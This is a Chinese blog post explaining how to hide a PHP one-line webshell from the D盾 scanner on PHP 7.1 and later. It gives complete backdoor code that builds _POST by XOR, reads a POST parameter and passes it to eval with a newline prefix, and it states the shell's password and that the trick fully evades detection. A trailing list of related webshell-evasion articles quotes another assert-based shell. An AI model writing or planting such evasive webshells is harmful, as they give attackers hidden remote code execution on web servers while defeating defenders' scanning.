严格的D盾

D盾说,我是个严格的人,看到eval我就报木马,“看着像“=”就是“木马,宁可错杀一千,绝不放过一个。好了,多说无益,一起看看严格的D盾是如何错杀的。

我随手写一个php文件:代码如下:

<?php
function encode($para0){
return $para0;
}
$b = encode("aaaa");
$a = "ccc";
eval($a);
?>

很明显没有传参呀,GET和POST都没有,压根儿就不是木马的,但是D盾竟然给我直接报了已知后门,我哭辽,如下:

大家最初的绕过应该大多都是基于”assert”的拆分和隐藏绕过的,但是在php7.1后assert已经被移除了,那么我们这些渗透测试er该何去何从呢?,能否找到新的技巧呢?当然,技巧千千万,找一些少见的函数,少见的特殊字符都是不错的选择。但是我们能否借助在php7.1之前的隐藏和拆分”assert“的思路呢?答案是肯定的,我们可以尝试隐藏和拆分传入eval中的参数来直面eval函数绕过。

隐藏POST和GET

在php7.1之后,如果我们转换思路,不再纠结于隐藏assert,eval等命令执行函数(因为assert已经失效,也无法隐藏了,无需隐藏了),而是直接面对eval,在我上述的例子中大家很容易看到,我就随便往eval中传了一个参数“ccc”,D盾就直接报已知后门了,这足以说明D盾对传入eavl参数的敏感性太高了。那么此时,我们隐藏一下我们一句话木马中常用和必须的GET和POST就有必要了。于是编写如下木马:(注明:此木马D盾会报一级可疑)

$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval($b)
;

简单解释一下:

变量$a的值我是利用异或赋值的,$a = "~+d()"^"!{+{}";,而字符串"~+d()"^"!{+{}"异或的结果为_POST,我直接输出给大家看看:

echo $a即为如下结果:

然后$b = ${$a}[a];$b = $_POST[a]等价,在将其传入eval()中,我们就成功了第一步,我们已经使得D盾报木马的级别降低了,由”5级 已知后门“变为”1级可疑(内藏)Eval后门{参数:$b(未知内容)}“了,哈哈,这就说明此时我们已经成功隐藏了我们所传入的参数,但是D盾在这里有点“我不认识的都可疑,宁可错杀一千,绝不放过一个了”,既然D盾这么较真,我们也较真点,彻底绕过。

经过上述测试发现,D盾只要在eval函数内发现了它未能识别的参数就会报出可疑,未知内容,又由于我们从一开始的切入点就是eval中的参数,所以此时我依旧针对eval中的参数进行处理:处理后的结果如下:

<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval("\n".$b);
?>

我们仅仅在参数$b的前面加上“\n"就成功绕过了,当然同理,你也可以在参数$b的前面加上"""\t""\r"等等也是可以绕过的。

木马密码:a

d盾扫描结果:

总结

在php7.1之后,显而易见的是免杀的难度大大增加了,因为灵活的assert被抛弃了,我们再也没有办法通过回调函数调用assert,或者其他的方式隐藏,拆分,调用assert,隐蔽的传参给assert。这个时候我们必须直面eval了,从传入eval的参数入手,隐藏GET和POST,配合一些特殊字符打乱正则,方可达到绕过检测的目的。当然也不排除使用特殊函数绕过。现在还能大量发表绕过的方法完全是因为现在还没有完全过度到php7.1之后,等到完全过度到php7.1之后估计大家的免杀马都要捂着用了,因为免杀的难度和代价变大了。此文供大家日后面对php7.1之后的环境参考绕过。

PHP7.1后webshell免杀的更多相关文章

  1. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  2. JSP Webshell免杀设计

    JSP Webshell免杀设计 @author:drag0nf1y 介绍 什么是Webshell? 被服务端解析执行的php.jsp文件 什么是RCE? remote command execute ...

  3. [9期]软WAF上传绕过+webshell免杀

    安全狗上传绕过 思路: 1.扰乱编码 form-data 替换成 ~form-data           form-data    改成 f+orm-data form-data    改成 for ...

  4. 流包装器实现WebShell免杀

    说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...

  5. Webshell免杀研究

    前言 不想当将军的士兵不是好士兵,不想getshell的Hacker不是好Hacker~有时候我们在做攻防对抗时经常会碰到可以上传webshell的地方,但是经常会被安全狗.D盾.护卫神.云锁等安全软 ...

  6. Webshell免杀

    过狗过D盾 <?php class me{ public $a = ''; function __destruct(){ assert("$this->a"); }}$ ...

  7. 全方位构造免杀 webshell 小结[一]

    转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/   全方位构造免杀 webshell 小结[一]   前言:    本 ...

  8. 20155308 《网络攻防》 Exp3 免杀原理与实践

    20155308 <网络攻防> Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测 ...

  9. 20155318 《网络攻防》Exp3 免杀原理与实践

    20155318 <网络攻防>Exp3 免杀原理与实践 基础问题 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程 ...

随机推荐

  1. 1V转5V芯片,三个元件即可组成完整的稳压方案

    1V低电压要转成5V的电压,需要1V转5V的芯片,由于1V输入,所以不需要指望能输出多大的电流,压差和1V的供电电压意味着供电电流也是无法做大的了.一般1V转5V的输出电流在0MA-100mA,一般6 ...

  2. 7行代码解决P1441砝码称重(附优化过程)

    先贴上最终代码感受一下: #include <bits/stdc++.h> using namespace std; int i, N, M, wi[21], res = 0; int m ...

  3. JavaScript中eval的替代方法

    引自:https://www.cnblogs.com/lxg0/p/7805266.html 通常我们在使用ajax获取到后台返回的json数据时,需要使用 eval 这个方法将json字符串转换成对 ...

  4. 大数据系列1:一文初识Hdfs

    最近有位同事经常问一些Hadoop的东西,特别是Hdfs的一些细节,有些记得不清楚,所以趁机整理一波. 会按下面的大纲进行整理: 简单介绍Hdfs 简单介绍Hdfs读写流程 介绍Hdfs HA实现方式 ...

  5. Apache环境下强制http跳转至https的配置总结

    一. 简单实例介绍一般来说,apache配置好http和https后,如果想要做http强转到https,需要设置url重定向规则,大致需要下面几个步骤即可完成配置: 1)在httpd.conf文件里 ...

  6. 六:SpringBoot-引入JdbcTemplate,和多数据源配置

    SpringBoot-引入JdbcTemplate,和多数据源配置 1.JdbcTemplate对象 1.1 JdbcTemplate核心方法 2.SpringBoot中使用JDBCTemplate ...

  7. HBase,以及GeoMesa设计基于HBase的设计分析,从数据模型到典型查询场景,最后进行RowKey设计

    GeoMesa设计基于HBase的设计分析,从数据模型到典型查询场景,最后进行RowKey设计 一.HBase 基本概念 理解KeyValue KeyValue多版本 列定义(1) 列定义(2) Co ...

  8. Java 高并发 解决方案

    1.HTML静态化 2.图片服务器分离 3.数据库集群和库表散列 4.缓存 5.镜像 6.负载均衡 1)硬件四层交换 2)软件四层交换 一:高并发高负载类网站关注点之数据库 二:高并发高负载网站的系统 ...

  9. mysql:如何利用覆盖索引避免回表优化查询

    说到覆盖索引之前,先要了解它的数据结构:B+树. 先建个表演示(为了简单,id按顺序建): id name 1 aa 3 kl 5 op 8 aa 10 kk 11 kl 14 jk 16 ml 17 ...

  10. 彻底记住看起来很高级的__pycache__与__name__

    参考了的博客:https://blog.csdn.net/yitiaodashu/article/details/79023987 https://blog.csdn.net/ipi715718/ar ...